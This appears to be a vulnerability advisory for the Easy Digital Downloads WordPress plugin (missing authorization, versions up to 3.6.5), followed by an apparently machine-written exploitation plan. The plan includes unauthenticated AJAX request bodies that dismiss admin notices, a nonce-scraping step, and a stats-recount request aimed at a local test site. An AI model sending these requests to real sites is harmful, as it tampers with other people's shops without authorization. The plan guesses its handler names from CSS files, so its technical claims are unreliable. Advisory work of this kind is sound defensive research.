Easy Digital Downloads – eCommerce Payments and Subscriptions made easy <= 3.6.5 - Missing Authorization
Description
The Easy Digital Downloads – eCommerce Payments and Subscriptions made easy plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.6.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.6.5What Changed in the Fix
Changes introduced in v3.6.6
Source Code
WordPress.org SVNThis analysis focuses on a "Missing Authorization" vulnerability in Easy Digital Downloads (EDD) <= 3.6.5. Based on the provided CSS assets and known architecture of EDD, the vulnerability likely resides in an AJAX handler used for administrative tasks that was inadvertently exposed to unauthenticat…
Show full research plan
This analysis focuses on a "Missing Authorization" vulnerability in Easy Digital Downloads (EDD) <= 3.6.5. Based on the provided CSS assets and known architecture of EDD, the vulnerability likely resides in an AJAX handler used for administrative tasks that was inadvertently exposed to unauthenticated users via wp_ajax_nopriv_ hooks without a current_user_can() check.
The presence of assets/build/css/admin/emails.min.css referencing .edd-promo-notice__ajax and #edd-admin-notice-emails strongly suggests the vulnerability involves the unauthorized dismissal of administrative or promotional notices.
1. Vulnerability Summary
The Easy Digital Downloads plugin uses AJAX handlers to manage admin notices and promotional content. In version 3.6.5, specific handlers (likely edd_dismiss_notice) are registered using wp_ajax_nopriv_, making them accessible to unauthenticated visitors. The function fails to perform a capability check (e.g., current_user_can( 'manage_shop_settings' )), allowing any user to dismiss important administrative alerts or promotional notices for all administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
edd_dismiss_notice(inferred from.edd-promo-notice__ajaxin CSS) - HTTP Method: POST
- Authentication: None required (unauthenticated)
- Preconditions: The plugin must have an active notice that is targetable (e.g., the "Emails" promo notice).
3. Code Flow (Inferred)
- Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_edd_dismiss_notice', 'edd_ajax_dismiss_notice' ); - Entry Point:
admin-ajax.phpreceives a POST request withaction=edd_dismiss_notice. - Vulnerable Function:
edd_ajax_dismiss_notice()is called. - Missing Check: The function likely checks a nonce but fails to verify if the user has
manage_optionsormanage_shop_settingscapabilities. - Sink: The function calls
update_option( 'edd_dismissed_notices', ... )orset_user_meta(...), modifying the global or user-specific state of dismissed notices.
4. Nonce Acquisition Strategy
EDD typically localizes its administrative AJAX data. Even for unauthenticated users, the nonce might be leaked if the plugin enqueues scripts on the frontend (e.g., for checkout or download management).
- Identify the Script: Look for
edd_admin_varsoredd_scripts_varsin the page source. - Check Frontend: Navigate to the homepage or a "Downloads" page.
- Extraction:
browser_navigate("http://localhost:8080/")browser_eval("window.edd_scripts_vars?.dismiss_notice_nonce")(inferred key)- Note: If the action is specifically for the Email promo, look for a variable named
edd_emails_varsor similar.
5. Exploitation Strategy
The goal is to unauthentically dismiss the "Emails" promotional notice (referenced in emails.min.css).
Step 1: Discover target notice ID
Common EDD notice IDs include:
edd_emails_promo_noticeedd_api_noticeedd_connect_notice
Step 2: Construct the Exploit Request
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=edd_dismiss_notice¬ice_id=edd_emails_promo_notice&nonce=[EXTRACTED_NONCE]
Step 3: Alternative Payload (Generic Dismissal)
If a specific nonce is not required for nopriv (or if it's checked loosely), try:
action=edd_dismiss_notice¬ice_id=edd_emails_promo_notice
6. Test Data Setup
To ensure the exploit is testable, the "Emails" notice should be "active" in the environment.
- Activate EDD: Ensure the plugin is active.
- Clear Dismissed Notices: Reset the option to ensure the notice would normally be visible.
wp option delete edd_dismissed_notices
7. Expected Results
- Response: The server should return
1,success, or a JSON object like{"success":true}. - State Change: The database option
edd_dismissed_noticeswill be updated to include the targetednotice_id.
8. Verification Steps
After sending the HTTP request, verify the dismissal using WP-CLI:
# Check if the notice is now in the dismissed list
wp option get edd_dismissed_notices
The output should be a serialized array containing edd_emails_promo_notice.
9. Alternative Approaches
If edd_dismiss_notice is not the vulnerable action, use grep to find all nopriv actions that perform "update" or "dismiss" logic:
grep -r "wp_ajax_nopriv_" wp-content/plugins/easy-digital-downloads/- Search for any function calls that update options or meta:
grep -r "update_option" wp-content/plugins/easy-digital-downloads/includes/admin/ - Look for "Stats Recount" functions:
edd_recount_stats. In some versions, unauthenticated users could trigger a recount of shop stats, leading to potential DoS or unauthorized data processing:- Action:
edd-recount-stats - Request:
GET /wp-admin/index.php?edd-action=recount_stats&type=orders(check ifedd-actionis handled ininitwithout auth).
- Action:
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.